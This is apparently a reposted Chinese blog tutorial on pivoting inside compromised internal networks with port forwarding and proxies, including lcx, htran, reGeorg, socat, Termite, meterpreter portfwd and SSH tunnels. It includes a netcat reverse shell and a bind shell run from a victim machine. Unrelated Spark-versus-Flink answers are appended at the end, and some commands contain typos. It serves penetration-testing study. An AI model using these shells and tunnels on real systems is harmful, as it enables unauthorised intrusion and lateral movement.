干货|内网渗透之端口转发&端口映射

文章转自乌云安全公众号,对我帮助比较大,欢迎老铁们关注
端口转发

端口转发,有时被叫做隧道,是安全壳为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络端口转发到另一个网络端口或从一个网络节点转发到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内网)上的一个端口。

简要说明:端口转发就是将一个端口,这个端口可以本地的端口也可以是访问到任意主机的端口,转发到任意一台可以访问的IP上,通常这个IP是公网IP。

端口映射

将内网的端口映射到公网的某个端口,就是将这个端口的流量转发到公网主机上的某个端口。当别人访问这个被转发到公网上的端口,那么公网主机的被转发端口流量将发回给内网主机。

两种不同的应用场景

端口映射:外网主机A想访问内网主机B上的服务
端口转发:外网主机A已经可以访问内网主机B里的任意端口,但是无法访问内网主机C上的端口,此时可以将C主机的端口转发到主机B端口,那么外网主机A访问了内网主机B就等于访问了内网主机C。

在这里插入图片描述区分正向与反向连接

  • 正向连接:你的机器连接到目标机器
  • 反向连接:目标机器反连你的机器
  • 不论映射还是转发,都有正有反,原理相同

端口转发和代理工具

  • lcx
  • htran
  • netcat
  • …………….

内网常遇见到的状况

  • A攻击者
  • B内网主机
  • C内网主机
  • B能访问外网允许所有端口访问(罕见)
  • B只允许指定端口被访问,其他端口不允许访问
  • B能被A访问,但是C不能被直接访问
1.目标处于网络边界,内外网都可以访问,网络边界主机未安装防火墙,所有端口都对互联网开放,此类业务场景已经极少出现;
2.目标处于内网,可以访问外网,但是出口部署的有防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等);
3.目标处于内网,不能访问外网,但是可以访问边界主机,防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等)。

常见操作
环境:受害机内访问外网,允许所有端口被直接访问,攻击机处于外网

正向反向:反向

PS:这里的192.168.1.104为攻击机IP

攻击机执行:

nc -lvp 4444

受害机执行:

nc -e cmd 192.168.1.104 4444

在这里插入图片描述环境:受害机内访问外网,允许所有端口被直接访问,攻击机处于内网

正向反向:正向

PS:这里的192.168.1.104属于受害机IP

受害机执行:

nc -lvp 4444 -e cmd

攻击机执行

nc 192.168.1.104 4444

在这里插入图片描述
环境:攻击机无法访问内网主机,但内网主机可以访问外网

IP:192.168.241.155 为内网主机

IP:192.168.1.104 为外网主机

内网主机执行:

1、lcx -slave [远程IP][转发到的远程端口] [本机IP] [本机要转发的端口]
2、lcx -salve 192.168.1.104 4444 192.168.241.155 3389

外网主机执行

lcx -listen [监听的端口] [从接收到的数据的端口转发到另外一个端口]
lcx -listen 4444 5555

在这里插入图片描述在这里插入图片描述环境:攻击机可以直接访问到内网主机B,但是无法访问内网主机C

IP:192.168.241.155 为内网主机C

IP:192.168.241.129 为内网主机B

IP:192.168.1.104 为攻击机

在内网主机B执行

lcx -tran 4444 192.168.241.155 3389

在内网主机b连接本地的4444端口或公网访问192.168.241.129:4444

在这里插入图片描述
环境:攻击者可以直接访问内网机器B,当防火墙禁止3389连接。内网机器B也可以访问外网
IP:192.168.69.41 攻击机

IP:192.168.69.43 内网机器B

在内网机器B执行

Htran.exe -tran 4444 127.0.0.1 3389

将B的3389转为本地的4444端口
在这里插入图片描述方法2:
攻击机执行

htran -p -listen 8888 9999
htran -p -listen [监听本机的8888端口] [将流量转发到本地的9999]

内网主机执行

htran -p -slave 192.168.69.43 8888 127.0.0.1 3389
htran -p -slave [攻击机IP] [攻击机所监听的端口] [本机IP] [本机要转发的端口]

在攻击机执行:
在这里插入图片描述代理

代理(Proxy),也称网络代理,是一种特殊的网络服务,允许一个网端(一般为客户端)通过这个服务与另一个网络段(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击。

代理的分类

  • HTTP代理
  • SOCKS代理
  • FTP代理
  • Telnet代理
  • SSL代理

区分正向代理和反向代理
正向代理中,proxy和client同属一个LAN,对Server透明

反向代理中,proxy和server同属一个LAN,对Client透明

一个代理的是客户端一个代理的是服务端
在这里插入图片描述reGeorg+Proxychains代理
reGeorg下载地址:https://github.com/sensepost/reGeorg

根据对应的脚本类型将对应的脚本上传到目标机,注意php的要上nosocket.php的。然后访问该php出现Georg says,All seems fine代理成功
在这里插入图片描述
使用的py2需要安装urllib3模块

在攻击机执行

python2 reGorgSocksProxy.py -u http://127.0.0.1:81/gg.php -p 8888

在这里插入图片描述使用Proxifier代理指定的程序,比如我要通过代理来连接目标的3389.那么就设置代理mstsc
Proxifier下载地址:http://soft.onlinedown.net/soft/971579.htm

PHP必失败
在这里插入图片描述EW和PS1那个就不测了,EW太老了,没的下载,ps1 powershell杀烂

端口转发和代理常用的工具
在这里插入图片描述netsh端口转发
环境:内网主机没部署防火墙,可连接外网,任意端口可连

IP:192.168.1.104 攻击机

IP:192.168.241.155 受害机

在受害机执行

netsh add v4tov4 listenport=5555 connectaddress=192.168.241.155 connectport=3389

然后在外网连接IP:5555
在这里插入图片描述netsh查看配置

netsh interface portproxy dump

在这里插入图片描述删除命令

netsh interface portproxy delete v4tov4 listenport=555

在这里插入图片描述socat的使用

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
工具地址:http://www.dest-unreach.org/socat

安装socat

apt install socat

IP:192.168.241.152 kali

IP:192.168.241.155 windows server 2008

在kali执行

PS:监听5555端口的流量然后转发给192.168.241.155:3389端口

socat TCP4-LISTEM:5555,reuseaddr,fork TCP4:192.168.241.155:3389

在这里插入图片描述
访问192.168.241.152:5555就可以访问到RDP
在这里插入图片描述Termite

工具在多种操作系统下均有Agent实现,由于代码为标准C实现,所以未来还将有更多的平台被支持。Agent节点可相互连接,进而形成一条树状管理拓扑,依赖该拓扑结构,使用者可实时管理拓扑中的任意主机节点。管理员可通过Admin程序,对拓扑中的任意节点进行管控,包括但不限于文件传输/控制台命令执行/开启远程 SOCKS5 代理服务/远程端口转发等功能。

IP:192.168.241.152 kali

IP:192.168.241.155 windows server 2008(跳板机)

IP:192.168.1.104 attack-windows7

在kali执行
在这里插入图片描述在2008执行

C:\Users\Administrator\Desktop\Termite>agent_Win32.exe -c 192.168.241.152 -p 5555

在这里插入图片描述在windows7执行

H:\端口转发_自己\Termite>admin_Win32.exe -c 192.168.241.152 -p 5555
在这里插入图片描述
然后记下kali,2008的ID
在这里插入图片描述2008的ID
在这里插入图片描述然后在attack设置节点2来做为跳板,将192.168.1.1的80端口映射到本机的4444端口

show #查看节点
goto 2 #设置节点
lcxtran 4444 192.198.1.1 80 #映射到本机

在这里插入图片描述
访问127.0.0.1:4444
在这里插入图片描述wireshark抓到的包
在这里插入图片描述反正我觉得复杂的一批…

FPipe的使用
环境:外网主机能访问内网主机B但不能访问内网主机C

FPipe.exe -l 4444 -r 80 192.168.251.254
Fpipe.exe -l [转发到本地的端口] -r [被转发的端口] [被转发的IP]

在这里插入图片描述
访问测试
在这里插入图片描述
meterpreter中的portfwd
在收到meterpreter中执行portfwd

portfwd add -l 3388 -r 192.168.241.155 -p 3389
portfwd add -l [转发到本地的端口] -r [目标的IP] -p [目标的端口]

在这里插入图片描述连接本地的3388
在这里插入图片描述
ssh正向TCP端口加密转发

又称ssh本地端口转发。SSH 会自动加密和解密所有SSH 客户端与服务端之间的网络数据。但是,SSH 还能够将其他TCP 端口的网络数据通过SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH 为其他TCP 链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP 这些TCP 应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH 的连接,也能够通过将TCP 端口转发来使用SSH 进行通讯。

修改/etc/sshd_config

AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 断开
PasswordAuthentication yes
PermitRootLogin yes

命令原型

ssh -CfNg -L 8080:127.0.0.1:2222 user@ip //VPS 本地访问VPS:8080就是内网的22端口
-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息

然后执行

service ssh start或service ssh restart
ssh -CfNg -L [本地端口]:[被转发的IP]:[被转发的端口] [ssh用户]@[IP]
ssh -CfNg -L 4444:192.168.241.155:3389 root@192.168.241.152

在这里插入图片描述连接本地的4444端口
在这里插入图片描述

  • 13
    点赞
  • 80
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Spark Streaming 和 Flink 都是流处理框架,但在一些方面有所不同。 1. 数据处理模型 Spark Streaming 基于批处理模型,将流数据分成一批批进行处理。而 Flink 则是基于流处理模型,可以实时处理数据流。 2. 窗口处理 Spark Streaming 的窗口处理是基于时间的,即将一段时间内的数据作为一个窗口进行处理。而 Flink 的窗口处理可以基于时间和数据量,可以更加灵活地进行窗口处理。 3. 状态管理 Spark Streaming 的状态管理是基于 RDD 的,需要将状态存储在内存中。而 Flink 的状态管理是基于内存和磁盘的,可以更加灵活地管理状态。 4. 容错性 Flink 的容错性比 Spark Streaming 更加强大,可以在节点故障时快速恢复,而 Spark Streaming 则需要重新计算整个批次的数据。 总的来说,Flink 在流处理方面更加强大和灵活,而 Spark Streaming 则更适合批处理和数据仓库等场景。 ### 回答2: Spark Streaming 和 Flink 都是流处理框架,它们都支持低延迟的流处理和高吞吐量的批处理。但是,它们在处理数据流的方式和性能上有许多不同之处。下面是它们的详细比较: 1. 处理模型 Spark Streaming 采用离散化流处理模型(DPM),将长周期的数据流划分为离散化的小批量,每个批次的数据被存储在 RDD 中进行处理,因此 Spark Streaming 具有较好的容错性和可靠性。而 Flink 采用连续流处理模型(CPM),能够在其流处理过程中进行事件时间处理和状态管理,因此 Flink 更适合处理需要精确时间戳和状态管理的应用场景。 2. 数据延迟 Spark Streaming 在处理数据流时会有一定的延迟,主要是由于对数据进行缓存和离散化处理的原因。而 Flink 的数据延迟比 Spark Streaming 更低,因为 Flink 的数据处理和计算过程是实时进行的,不需要缓存和离散化处理。 3. 机器资源和负载均衡 Spark Streaming 采用了 Spark 的机器资源调度和负载均衡机制,它们之间具有相同的容错和资源管理特性。而 Flink 使用 Yarn 和 Mesos 等分布式计算框架进行机器资源调度和负载均衡,因此 Flink 在大规模集群上的性能表现更好。 4. 数据窗口处理 Spark Streaming 提供了滑动、翻转和窗口操作等灵活的数据窗口处理功能,可以使用户更好地控制数据处理的逻辑。而 Flink 也提供了滚动窗口和滑动窗口处理功能,但相对于 Spark Streaming 更加灵活,可以在事件时间和处理时间上进行窗口处理,并且支持增量聚合和全量聚合两种方式。 5. 集成生态系统 Spark Streaming 作为 Apache Spark 的一部分,可以充分利用 Spark 的分布式计算和批处理生态系统,并且支持许多不同类型的数据源,包括Kafka、Flume和HDFS等。而 Flink 提供了完整的流处理生态系统,包括流SQL查询、流机器学习和流图形处理等功能,能够灵活地适应不同的业务场景。 总之,Spark Streaming 和 Flink 都是出色的流处理框架,在不同的场景下都能够发挥出很好的性能。选择哪种框架取决于实际需求和业务场景。 ### 回答3: Spark Streaming和Flink都是流处理引擎,但它们的设计和实现方式有所不同。在下面的对比中,我们将比较这两种流处理引擎的主要特点和差异。 1. 处理模型 Spark Streaming采用离散流处理模型,即将数据按时间间隔分割成一批一批数据进行处理。这种方式可以使得Spark Streaming具有高吞吐量和低延迟,但也会导致数据处理的粒度比较粗,难以应对大量实时事件的高吞吐量。 相比之下,Flink采用连续流处理模型,即数据的处理是连续的、实时的。与Spark Streaming不同,Flink的流处理引擎能够应对各种不同的实时场景。Flink的实时流处理能力更强,因此在某些特定的场景下,它的性能可能比Spark Streaming更好。 2. 窗口计算 Spark Streaming内置了许多的窗口计算支持,如滑动窗口、滚动窗口,但支持的窗口计算的灵活性较低,只适合于一些简单的窗口计算。而Flink的窗口计算支持非常灵活,可以支持任意窗口大小或滑动跨度。 3. 数据库支持 在处理大数据时,存储和读取数据是非常重要的。Spark Streaming通常使用HDFS作为其数据存储底层的系统。而Flink支持许多不同的数据存储形式,包括HDFS,以及许多其他开源和商业的数据存储,如Kafka、Cassandra和Elasticsearch等。 4. 处理性能 Spark Streaming的性能比Flink慢一些,尤其是在特定的情况下,例如在处理高吞吐量的数据时,在某些情况下可能受制于分批处理的架构。Flink通过其流处理模型和不同的调度器和优化器来支持更高效的实时数据处理。 5. 生态系统 Spark有着庞大的生态系统,具有成熟的ML库、图处理库、SQL框架等等。而Flink的生态系统相对较小,但它正在不断地发展壮大。 6. 规模性 Spark Streaming适用于规模小且不太复杂的项目。而Flink可扩展性更好,适用于更大、更复杂的项目。Flink也可以处理无限制的数据流。 综上所述,Spark Streaming和Flink都是流处理引擎,它们有各自的优缺点。在选择使用哪一个流处理引擎时,需要根据实际业务场景和需求进行选择。如果你的业务场景较为复杂,需要处理海量数据并且需要比较灵活的窗口计算支持,那么Flink可能是更好的选择;如果你只需要简单的流处理和一些通用的窗口计算,Spark Streaming是更为简单的选择。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值